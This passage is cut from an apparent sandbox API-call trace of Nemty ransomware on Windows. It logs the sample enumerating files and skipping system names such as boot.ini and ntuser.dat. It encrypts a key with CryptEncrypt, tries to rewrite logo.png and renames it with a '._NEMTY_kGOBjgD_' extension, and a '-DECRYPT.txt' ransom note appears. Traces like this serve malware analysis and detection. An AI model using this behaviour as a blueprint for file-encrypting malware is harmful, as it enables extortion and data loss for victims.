hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0123.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0123.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0123.285] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x843c2419, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x843c2419, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28e73115, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="logo.png", cAlternateFileName="")) returned 1 [0123.285] lstrcmpiW (lpString1="logo.png", lpString2=".") returned 1 [0123.285] lstrcmpiW (lpString1="logo.png", lpString2="..") returned 1 [0123.285] lstrcmpiW (lpString1="logo.png", lpString2="...") returned 1 [0123.285] lstrcmpiW (lpString1="logo.png", lpString2="windows") returned -1 [0123.285] lstrcmpiW (lpString1="logo.png", lpString2="$RECYCLE.BIN") returned 1 [0123.285] lstrcmpiW (lpString1="logo.png", lpString2="rsa") returned -1 [0123.285] lstrcmpiW (lpString1="logo.png", lpString2="NTDETECT.COM") returned -1 [0123.285] lstrcmpiW (lpString1="logo.png", lpString2="ntldr") returned -1 [0123.285] lstrcmpiW (lpString1="logo.png", lpString2="MSDOS.SYS") returned -1 [0123.285] lstrcmpiW (lpString1="logo.png", lpString2="IO.SYS") returned 1 [0123.285] lstrcmpiW (lpString1="logo.png", lpString2="boot.ini") returned 1 [0123.285] lstrcmpiW (lpString1="logo.png", lpString2="boot.ini") returned 1 [0123.285] lstrcmpiW (lpString1="logo.png", lpString2="AUTOEXEC.BAT") returned 1 [0123.285] lstrcmpiW (lpString1="logo.png", lpString2="ntuser.dat") returned -1 [0123.285] lstrcmpiW (lpString1="logo.png", lpString2="desktop.ini") returned 1 [0123.285] lstrcmpiW (lpString1="logo.png", lpString2="CONFIG.SYS") returned 1 [0123.285] lstrcmpiW (lpString1="logo.png", lpString2="RECYCLER") returned -1 [0123.285] lstrcmpiW (lpString1="logo.png", lpString2="BOOTSECT.BAK") returned 1 [0123.285] lstrcmpiW (lpString1="logo.png", lpString2="bootmgr") returned 1 [0123.285] lstrcmpiW (lpString1="logo.png", lpString2="programdata") returned -1 [0123.285] lstrcmpiW (lpString1="logo.png", lpString2="appdata") returned 1 [0123.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.285] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0123.285] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0123.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0123.285] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0123.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0123.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0123.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0123.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0123.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0123.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0123.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63400d0 [0123.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0123.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0123.286] Sleep (dwMilliseconds=0x5) [0123.300] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xfd23b8b0, dwHighDateTime=0x1d561e7)) [0123.300] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xfd23b8b0, dwHighDateTime=0x1d561e7)) [0123.300] GetLastError () returned 0x12 [0123.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0123.300] GetLastError () returned 0x12 [0123.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0123.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0123.300] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0123.300] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0123.301] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0123.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340158 [0123.301] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340158, pcchString=0x653ec5c | out: pszString="1vg3BQmIBiM5kyI/ofoCg0Wz8S3fR4xCWiZDVpVkWvOpZnXIK+w4fPpXYQ32O/oe\r\nXMqt82uWvZ0o9hb3QKji/vj7Jy0kprB3xFQSG35vLX4BrG4yCW0p+wPi3I2dRp+G\r\nUHf2P+kvKtpySpyYrX/Oe1ut/gQXmpn9DsMGQ+5dnWSDQxu/slEfsvOSYs141iPd\r\nlvsTvpOQfFJvI5nWFHWDofrFTB+GkCUOr4Ld0ClUsM0zW46wqFRC7Pc4fP0YnOh0\r\nxzHRFaOKutynr9Om1it+4q2kCv30a8ip36/E96Z9WYrRL66oTte9RKU7fMUyhvuc\r\n1Z7LvwyhkXxqY/VHBFMXtg==\r\n", pcchString=0x653ec5c) returned 1 [0123.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0123.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0123.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0123.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0123.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340158 [0123.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0123.301] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0123.301] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0123.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0123.301] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.301] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0123.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.310] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0123.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.310] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0123.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.320] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0123.320] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.320] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0123.329] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.329] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0123.329] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.329] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0123.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.338] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0123.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.338] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0123.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.347] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0123.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.347] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0123.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.356] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0123.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.356] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0123.365] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.365] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0123.365] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.365] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0123.374] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.374] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0123.375] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.375] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0123.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.390] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0123.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.390] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0123.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.399] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0123.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.399] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0123.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.405] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0123.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.405] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0123.411] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.411] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0123.411] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.411] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340158, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0123.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0123.411] CloseHandle (hObject=0xffffffff) returned 0 [0123.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63402c8 [0123.411] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0123.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0123.411] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0123.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0123.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0123.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340350 [0123.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63403d8 [0123.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0123.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0123.412] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\logo.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\logo.png._nemty_kgobjgd_")) returned 0 [0123.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0123.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c8 | out: hHeap=0x4f90000) returned 1 [0123.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0123.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0123.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0123.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0123.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0123.412] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf71adc50, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf71adc50, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf71adc50, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0123.412] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0123.412] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0123.412] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0123.412] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0123.412] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0123.412] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0123.412] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0123.412] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0123.412] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0123.412] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0123.412] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0123.412] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0123.412] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0123.412] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0123.412] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0123.412] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0123.413] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0123.413] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0123.413] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0123.413] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0123.413] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0123.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0123.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0123.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.413] WideCharToMultiByte (in: 